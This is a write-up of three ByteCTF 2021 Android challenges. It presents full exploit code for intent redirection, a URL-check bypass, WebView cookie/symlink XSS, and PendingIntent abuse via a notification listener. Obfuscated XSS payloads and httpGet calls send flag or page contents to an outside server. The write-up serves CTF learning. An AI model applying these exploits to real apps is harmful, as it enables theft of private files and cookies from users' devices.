ByteCTF 2021 Android Writeup

注意
本文最后更新于 2024-02-25,文中内容可能已过时。

babydroid

Intent 重定向

/images/00ce0eeaa253ce7f4d4cb87e0e4c0d0e.png

/images/77c06d4f499c73f90532efb5208ac47b.png

我们无法直接访问 file provider, 但是可以通过 Intent 重定向来窃取 flag 文件,代码来自 ppt。

通过 httpGet 请求把 flag 带出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    httpGet("run");
    try {
        if (getIntent() != null && getIntent().getAction() != null && getIntent().getAction().equals("evil")){
            Uri data = getIntent().getData();
            try {
                InputStream i = getContentResolver().openInputStream(data);
                byte[] bytes = new byte[0];
                bytes = new byte[i.available()];
                i.read(bytes);
                String str = new String(bytes);
                httpGet(str);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }else {
            Intent next= new Intent("evil");
            next.setClassName(getPackageName(), MainActivity.class.getName());
            next.setData(Uri.parse("content://androidx.core.content.FileProvider/" + "root/data/data/com.bytectf.babydroid/files/flag"));
            next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            Intent intent = new Intent();
            intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
            intent.putExtra("intent", next);
            startActivity(intent);
        }
    } catch (Exception e){
        httpGet(e.getMessage());
    }
    setContentView(R.layout.activity_main);
}

easydroid

/images/53907e98ac44614d1019900ac4bffb81.png

配置文件中只有 MainActivity 是能够被外部调用的,所以考虑攻击 MainActivity

/images/c6a557f8dd49de52598e0e1b3925d139.png

考虑如何绕过限制,由于检测不严格,所以我们可以用 http://toutiao.com.wjhwjhn.com 这样的形式来绕过,让程序访问到我们的页面。

而在内部中对 intent 进行了单独的处理,我们可以编写一个跳转页面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<html>
<body>
	<script>

	function GetQueryString(name)
	{
		 var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");
		 var r = window.location.search.substr(1).match(reg);
		 if(r!=null)return  unescape(r[2]); return null;
	}
	function doitjs()
	{
		location.href = decodeURIComponent(GetQueryString('url'));
	}
	setTimeout(doitjs, 0);

	</script>
</body>

</html>

然后传参使其跳转到 Intent 重定向代码,从而从程序内部访问到程序中的 TestActivity。

image.png

从这里可以任意访问由 file:// 协议的页面

从这里开始卡了很久

刚开始的想的是,在读取自身 “file://” 来读取到软连接的 flag 文件,通过看 logcat 内容后,发现这样会引起错误,不允许使用 “file://” 来读取。

于是考虑 ppt 中的打法:用一个页面来 setCookie,把恶意代码写入到 cookie 文件中,然后把软链接 html 扩展名的文件到 cookie 文件,用 webview 执行的时候就会执行我们写入的恶意 xss 代码,而且可以通过代码把页面内容带出(flag)。

set 页面(把页面内容带出,并且传参到我指定的位置,我在服务器上开启一个 flask 服务就可以记录日志)

1
2
3
4
5
<html>
    <body>
        <script>document.cookie = "x = '<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xMC4xNzMuMTQ2LjEyOjIzMzMvP2Nvb2tpZT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5vdXRlckhUTUwpOw=='))\">'"</script>
    </body>
</html>

之后再访问 Cookie 文件即可带出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    private void launch(String url) throws URISyntaxException {
        Intent i = new Intent();
        i.setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.MainActivity");
        i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
        Intent i2 = new Intent();
        i2.setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.TestActivity");
        i2.putExtra("url", url);
        String uri_data = i2.toUri(Intent.URI_INTENT_SCHEME);
        Intent v3 = Intent.parseUri(uri_data, Intent.URI_INTENT_SCHEME);
        Log.v("message", new String(Uri.parse(uri_data).getScheme().equals("intent") ? "Ture intent" : "Flase intent"));
        i.setData(Uri.parse("http://toutiao.com.wjhwjhn.com/jump.html?url=" + Uri.encode(uri_data)));
        startActivity(i);
    }


    private String symlink(){
        try {
            String root = getApplicationInfo().dataDir;
            String symlink = root + "/symlink.html";
            String cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies";
            Log.v("message", cookies);
            Runtime.getRuntime().exec("rm " + symlink).waitFor();
            Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
            return symlink;
        } catch (Throwable th){
            throw new RuntimeException(th);
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        httpGet("run");
        try {

            launch("http://toutiao.com.wjhwjhn.com/set.html");
            new Handler().postDelayed(() -> {
                try {
                    launch("file://" + symlink());
                } catch (URISyntaxException e) {
                    httpGet(e.getMessage());
                }
            }, 35000);

        } catch (Exception e){
            httpGet(e.getMessage());
        }
    }

mediumdroid

和第二题类似,区别在于 flag 类似第一题,放置在了文件中,而不是 Cookie,我们无法使用 cookie 的形式来在那个文件中插入一个 xss。

同时增加了一个 jsi,使得我们在 java 代码中可以调用 Te3t

image.png

这里的 PendingIntent.getBroadcast(this, 0, new Intent(), 0)实现存在问题,存在 BroadcastAnywhere 的漏洞,我们可以 NotificationListenerService 进行监听,并且用原来的内容进行广播,广播给追加 flag 的代码处,在 flag 文件中写入 xss 恶意代码,然后再访问带出。

image.png

监听代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.bytectf.pwnmediumdroid;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import android.app.Notification;
import android.app.Notification.Action;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Bitmap;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.text.TextUtils;
import android.util.Log;


public class MagicService  extends NotificationListenerService{
    @Override
    public void onCreate(){
        super.onCreate();
        Log.v("message","onCreate");

    }
    @Override
    public void onListenerConnected(){
        super.onListenerConnected();
        Log.v("message","onListenerConnected");
    }
    @Override
    public void onNotificationPosted(StatusBarNotification sbn) {

        Log.v("message", sbn.getPackageName());
        if (!"com.bytectf.mediumdroid".equals(sbn.getPackageName())) {
            return;
        }

        Notification notification = sbn.getNotification();

        PendingIntent pendingIntent = null;
        Bundle extras = notification.extras;
        if (extras != null) {
            String title = extras.getString(Notification.EXTRA_TITLE, "");
            String content = extras.getString(Notification.EXTRA_TEXT, "");
            Log.v("message", "titile: " + title + " content: " + content);


            try {
                pendingIntent = notification.contentIntent;
                String xss = "<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xMDcuMTczLjE0Ni4xMjoyMzMzLz9jb29raWU9IiArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQub3V0ZXJIVE1MKTs='))\">";
                Intent intent = new Intent();
                intent.setAction("com.bytectf.SET_FLAG");
                intent.setPackage("com.bytectf.mediumdroid");
                //intent.setClassName("com.bytectf.mediumdroid", "com.bytectf.mediumdroid.FlagReceiver");
                intent.putExtra("flag", xss);
                pendingIntent.send(this, 0, intent);
            } catch (Exception e) {
                e.printStackTrace();
            }

        }
        super.onNotificationPosted(sbn);
    }
    @Override
    public void onNotificationRemoved(StatusBarNotification sbn) {
        super.onNotificationRemoved(sbn);
        Log.v("message", "onNotificationRemoved");
    }
}

主要逻辑代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
    private String symlink(){
        try {
            String root = getApplicationInfo().dataDir;
            String symlink = root + "/symlink.html";
            String flag_addr = getPackageManager().getApplicationInfo("com.bytectf.mediumdroid", 0).dataDir + "/files/flag";
            Log.v("message", flag_addr);
            Runtime.getRuntime().exec("rm " + symlink).waitFor();
            Runtime.getRuntime().exec("ln -s " + flag_addr + " " + symlink).waitFor();
            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
            return symlink;
        } catch (Throwable th){
            throw new RuntimeException(th);
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        httpGet("run");
        try {
            startService(new Intent(this, MagicService.class));
            launch("http://toutiao.com.wjhwjhn.com/jsi.html");
            Log.v("message", isNotificationListenerEnabled(this) ? "Get" : "No");
            new Handler().postDelayed(() -> {
                try {
                    launch("file://" + symlink());
                } catch (URISyntaxException e) {
                    httpGet(e.getMessage());
                }
            }, 5000);
        }catch (Exception e){
            httpGet(e.getMessage());
        }
    }

先通过广播把恶意 xss 代码写入到 flag 文件中,再用 file 进行访问,其中 jsi.html 代码负责调用 java 层的 PendingIntent.getBroadcast 来触发监听代码。

1
2
3
4
5
6
<html>
    <body>
        <u>jsi test</u>
        <script>jsi.Te3t('test1', 'test2');</script>
    </body>
</html>
0%